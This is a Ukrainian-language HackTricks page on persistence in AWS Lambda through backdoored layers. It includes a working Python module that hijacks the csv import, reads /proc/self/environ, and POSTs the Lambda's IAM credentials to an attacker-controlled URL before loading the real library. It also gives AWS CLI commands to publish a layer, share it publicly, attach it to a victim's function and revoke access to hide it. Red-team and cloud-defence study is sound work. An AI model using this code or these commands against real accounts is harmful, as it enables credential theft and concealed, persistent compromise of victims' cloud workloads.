AWS - Lambda Layers Persistence

Підтримайте HackTricks

Шари Lambda

Шар Lambda - це архів .zip, який може містити додатковий код або інший вміст. Шар може містити бібліотеки, власний рантайм, дані або файли конфігурації.

Можливо включити до п'яти шарів на функцію. Коли ви включаєте шар у функцію, вміст розпаковується в каталог /opt в середовищі виконання.

За замовчуванням, шари, які ви створюєте, приватні для вашого облікового запису AWS. Ви можете вибрати поділитися шаром з іншими обліковими записами або зробити шар публічним. Якщо ваші функції використовують шар, який опублікував інший обліковий запис, ваші функції можуть продовжувати використовувати версію шару після його видалення або після скасування вашого дозволу на доступ до шару. Однак ви не можете створити нову функцію або оновити функції, використовуючи видалену версію шару.

Функції, розгорнуті як зображення контейнера, не використовують шари. Замість цього ви упаковуєте ваш вибраний рантайм, бібліотеки та інші залежності в зображення контейнера під час його побудови.

Шлях завантаження Python

Шлях завантаження, який Python використовуватиме в лямбді, наступний:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Перевірте, як друга та третя позиції зайняті каталогами, де шари lambda розпаковують свої файли: /opt/python/lib/python3.9/site-packages та /opt/python

Якщо зловмисник зміг додати шпигунську програму до використаного шару lambda або додати один, який буде виконувати довільний код при завантаженні загальної бібліотеки, він зможе виконати шкідливий код при кожному виклику lambda.

Отже, вимоги такі:

  • Перевірте бібліотеки, які завантажуються кодом жертв

  • Створіть проксі-бібліотеку з шарами lambda, яка буде виконувати власний код та завантажувати оригінальну бібліотеку.

Попередньо завантажені бібліотеки

Під час зловживання цією технікою я зіткнувся з труднощами: Деякі бібліотеки вже завантажені в час виконання python, коли ваш код виконується. Я очікував знайти такі речі, як os або sys, але навіть бібліотека json була завантажена. Для зловживання цією технікою постійності, код повинен завантажити нову бібліотеку, яка не завантажена під час виконання коду.

За допомогою коду Python, подібного до цього, можливо отримати список бібліотек, які попередньо завантажені в середовищі виконання python в lambda:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

І ось це список (перевірте, що бібліотеки, такі як os або json, вже там)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

І ось список бібліотек, які lambda включає встановленими за замовчуванням: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Підставлення в Lambda Layer

У цьому прикладі давайте припустимо, що цільовий код імпортує csv. Ми збираємося підставити імпорт бібліотеки csv.

Для цього ми збираємося створити каталог csv з файлом __init__.py в ньому за шляхом, який завантажується lambda: /opt/python/lib/python3.9/site-packages Потім, коли lambda виконується і намагається завантажити csv, наш файл __init__.py буде завантажений і виконаний. Цей файл повинен:

  • Виконати нашу вразливість

  • Завантажити оригінальну бібліотеку csv

Ми можемо зробити це обидва за допомогою:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Потім створіть zip-архів з цим кодом за шляхом python/lib/python3.9/site-packages/__init__.py та додайте його як шар лямбди.

Ви можете знайти цей код за посиланням https://github.com/carlospolop/LambdaLayerBackdoor

Інтегрований вразливий код надсилатиме IAM-повноваження на сервер ПЕРШИЙ РАЗ, коли його викликають або ПІСЛЯ скидання контейнера лямбди (зміна коду або холодна лямбда), але інші техніки, такі як наступні, також можуть бути інтегровані:

AWS - Steal Lambda Requests

Зовнішні шари

Зверніть увагу, що можна використовувати шари лямбди з зовнішніх облікових записів. Більше того, лямбда може використовувати шар з зовнішнього облікового запису навіть якщо у нього немає дозволів. Також зверніть увагу, що максимальна кількість шарів, яку може мати лямбда, - 5.

Отже, для поліпшення універсальності цієї техніки зловмисник може:

  • Додати вразливість до існуючого шару користувача (нічого не є зовнішнім)

  • Створити шар у своєму обліковому записі, надати обліковому запису жертви доступ до використання шару, налаштувати шар в лямбді жертви та видалити дозвіл.

  • Лямбда все ще зможе використовувати шар, а жертва не матиме простого способу завантажити код шарів (окрім отримання оберненого шелу всередині лямбди)

  • Жертва не побачить зовнішні шари, використані з aws lambda list-layers

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Підтримайте HackTricks

Last updated